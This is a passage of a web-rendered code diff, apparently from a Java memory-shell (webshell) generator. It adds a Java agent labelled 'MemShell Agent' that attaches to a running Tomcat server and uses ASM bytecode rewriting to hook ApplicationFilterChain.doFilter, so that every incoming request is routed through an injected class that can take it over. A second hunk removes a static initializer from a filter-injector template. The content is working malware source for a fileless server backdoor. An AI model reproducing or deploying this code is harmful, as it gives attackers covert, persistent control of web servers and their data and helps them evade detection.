return "{{advisorName}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void launch(Instrumentation inst) throws Exception {
|
||||||
|
System.out.println("MemShell Agent is starting");
|
||||||
|
inst.addTransformer(new TomcatFilterChainAgentInjector(), true);
|
||||||
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
|
String name = allLoadedClass.getName();
|
||||||
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
|
inst.retransformClasses(allLoadedClass);
|
||||||
|
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
|
if (TARGET_CLASS.equals(className)) {
|
||||||
|
try {
|
||||||
|
ClassReader cr = new ClassReader(bytes);
|
||||||
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||||
|
@Override
|
||||||
|
protected ClassLoader getClassLoader() {
|
||||||
|
return loader;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
return cw.toByteArray();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||||
|
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||||
|
@Override
|
||||||
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
|
String signature, String[] exceptions) {
|
||||||
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
|
if (TARGET_METHOD_NAME.equals(name)) {
|
||||||
|
try {
|
||||||
|
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||||
|
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||||
|
} catch (Throwable e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return mv;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||||
|
private final Type[] argumentTypes;
|
||||||
|
private final String className;
|
||||||
|
|
||||||
|
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||||
|
super(Opcodes.ASM9, mv);
|
||||||
|
this.argumentTypes = argTypes;
|
||||||
|
this.className = className;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void visitCode() {
|
||||||
|
loadArgArray();
|
||||||
|
Label tryStart = new Label();
|
||||||
|
Label tryEnd = new Label();
|
||||||
|
Label catchHandler = new Label();
|
||||||
|
Label ifConditionFalse = new Label();
|
||||||
|
Label skipCatchBlock = new Label();
|
||||||
|
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||||
|
|
||||||
|
mv.visitLabel(tryStart);
|
||||||
|
String internalClassName = className.replace('.', '/');
|
||||||
|
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||||
|
mv.visitInsn(Opcodes.DUP);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||||
|
mv.visitInsn(Opcodes.SWAP);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||||
|
"java/lang/Object",
|
||||||
|
"equals",
|
||||||
|
"(Ljava/lang/Object;)Z",
|
||||||
|
false);
|
||||||
|
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||||
|
mv.visitInsn(Opcodes.RETURN);
|
||||||
|
mv.visitLabel(ifConditionFalse);
|
||||||
|
mv.visitLabel(tryEnd);
|
||||||
|
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||||
|
mv.visitLabel(catchHandler);
|
||||||
|
mv.visitInsn(Opcodes.POP);
|
||||||
|
mv.visitLabel(skipCatchBlock);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void loadArgArray() {
|
||||||
|
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||||
|
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||||
|
for (int i = 0; i < argumentTypes.length; i++) {
|
||||||
|
mv.visitInsn(Opcodes.DUP);
|
||||||
|
push(i);
|
||||||
|
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||||
|
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public void push(final int value) {
|
||||||
|
if (value >= -1 && value <= 5) {
|
||||||
|
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||||
|
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||||
|
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||||
|
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||||
|
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||||
|
} else {
|
||||||
|
mv.visitLdcInsn(new Integer(value));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private int getArgIndex(final int arg) {
|
||||||
|
int index = 1;
|
||||||
|
for (int i = 0; i < arg; i++) {
|
||||||
|
index += argumentTypes[i].getSize();
|
||||||
|
}
|
||||||
|
return index;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
-4
@@ -22,10 +22,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class TomcatFilterInjector {
|
public class TomcatFilterInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new TomcatFilterInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
}
|
}
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user